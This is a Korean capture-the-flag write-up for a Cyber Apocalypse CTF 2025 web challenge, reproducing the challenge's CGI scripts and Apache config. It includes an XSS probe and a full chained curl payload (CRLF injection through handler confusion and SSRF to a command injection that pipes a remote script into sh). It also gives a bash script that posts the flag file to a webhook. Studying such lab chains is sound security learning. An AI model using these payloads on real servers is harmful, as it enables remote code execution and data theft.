
/?error=</script><script>alert(1)</script>
result, name에서 또한 xss공격이 가능했다.
flag 는 / 루트경로에 flag-{랜덤 15자}.txt 로 저장되어 있다.
따라서 RCE 공격이 필요해보인다. 파일명알아내기 + 파일 값 읽어내기 두가지가 필요해지기 때문이다.
#!/usr/bin/env python3
import cgi
import os
import re
def is_domain(target):
return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)
form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
print('Location: ../?error=Hey, you need to provide a name and a target!')
elif is_domain(target):
count = 1 # Increase this for an actual attack
os.popen(f'ping -c {count} {target}')
print(f'Location: ../?result=Succesfully attacked {target}!')
else:
print(f'Location: ../?error=Hey {name}, watch it!')
print('Content-Type: text/html')
print()
#!/usr/bin/env python3
import cgi
import os
from ipaddress import ip_address
form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
count = 1 # Increase this for an actual attack
os.popen(f'ping -c {count} {ip_address(target)}')
print(f'Location: ../?result=Succesfully attacked {target}!')
except:
print(f'Location: ../?error=Hey {name}, watch it!')
print('Content-Type: text/html')
print()
php-cgi관련 취약점을 찾아보았으나 이 문제에 해당하지는 않았다.
attack-domain을 보면 우선 &은 필터링 하지 않고 있다. parameter pollution 이 가능 할 수 있다.
그리고 apache.conf 에서
ServerName CyberAttack
AddType application/x-httpd-php .php
<Location "/cgi-bin/attack-ip">
Order deny,allow
Deny from all
Allow from 127.0.0.1
Allow from ::1
</Location>
모든것 거부 127.0,0,1 , ::1은 허용하고 있다.
127.0.0.1 이나 ::1 으로 속여 SSRF attack-ip에 요청을 보내 속여서 RCE 공격을 트리거 시켜 flag 파일을 읽어야 할 것 같다.
버전 체크: php 7.4.33
Apache/2.4.54
python:3.92 & ipaddress module
위와 관련된 CVE , vulnerabilities ,hacktricks 다 찾아보고 시도해봤지만 가능하지 않았다..내 검색 능력의 한계를 체감했었다.
여기까지가 내가 생각했던 방향성이였고 결국 문제를 풀지는 못하였다. 오후 2시부터 쭉 달렸는데 결국 못풀고 새벽 3시까지 찾아보다가 잤다. 너무 아쉬워서 끝나자마자 write-up 찾아보고 이 분의 chain을 따라가보며 배우기로 다짐했다.
서버는 Apache/2.4.54 (Debian) 이며, 응답 헤더 및 구조상 CGI 스크립트를 처리하고 있었다
Apache + CGI 조합은 header injection 및 handler confusion 공격에 취약할 수 있다.
print(f'Location: ../?error=Hey {name}, watch it!')
여기서 사용자 입력(name) 이 필터링 없이 헤더에 들어가므로 CRLF(Carriage Return + Line Feed) 인젝션이 가능하다는 걸 눈치챘다.
Content-Type: proxy:...형식으로 보내면 Apache가 내부 SSRF 요청을 수행하도록 유도 가능해 conf 파일의 127.0.0.1 , ::1 검증을 통과 할 수 있다.
target=::1% 와 같이 IPv6 + 퍼센트 인코딩을 활용하면 필터 우회 가능. backtick도 사용 가능한 것을 체크하였다.
페이로드를 입맛에 맞게 바꿔보고 싶었으나 필터링이 많아 그냥 참고한 write up의 페이로드를 그로 사용하였다. 따라서 페이로드를 curl 요청으로 변환하면 아래와 같다
curl -v '{target}/cgi-bin/attack-domain?target=123&name=%26name=123%0d%0aLocation://127.0.0.1%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%25%60curl%2BVPS|sh%60%26name=123%0d%0a%0d%0aX:'
여기서 VPS는 공유기 포트포워딩을 통해 /payload.sh로 준비하였으나 /부분이 필터에 걸려 바로 index.html에 아래의 내용을 삽입해두었다. command injection이 성공하는 것을 확인해도 필터에 걸리는게 있으면 실패하도록 되어있어서 엄청 까다로운 문제였다.
#!/bin/bash
curl -X POST -d "$(cat /flag)" {webhook}
[Cyber Apocalypse CTF 2025 WEB]
chain
CRLF Injection → HTTP Header Injection → Handler Confusion → SSRF → Command Injection → RCE
이 문제 풀려고 CTF 기간 마지막 하루 다 쏟았는데 못풀어서 write-up 바로 찾아보면서 직접 따보고 싶었다.
개인적으로 문제 방향성 제시를 conf에서 잘해줘서 삽질을 별로 안한 것 같으나 확실히 많이 모자란 점을 느꼇다. 그리고 VPS(Virtual Private Server) , CRLF(Carriage Return + Line Feed) 새로 배워가면서 다음 부턴 VPS 편하게 셋팅하는 방법 찾아놔야겠다.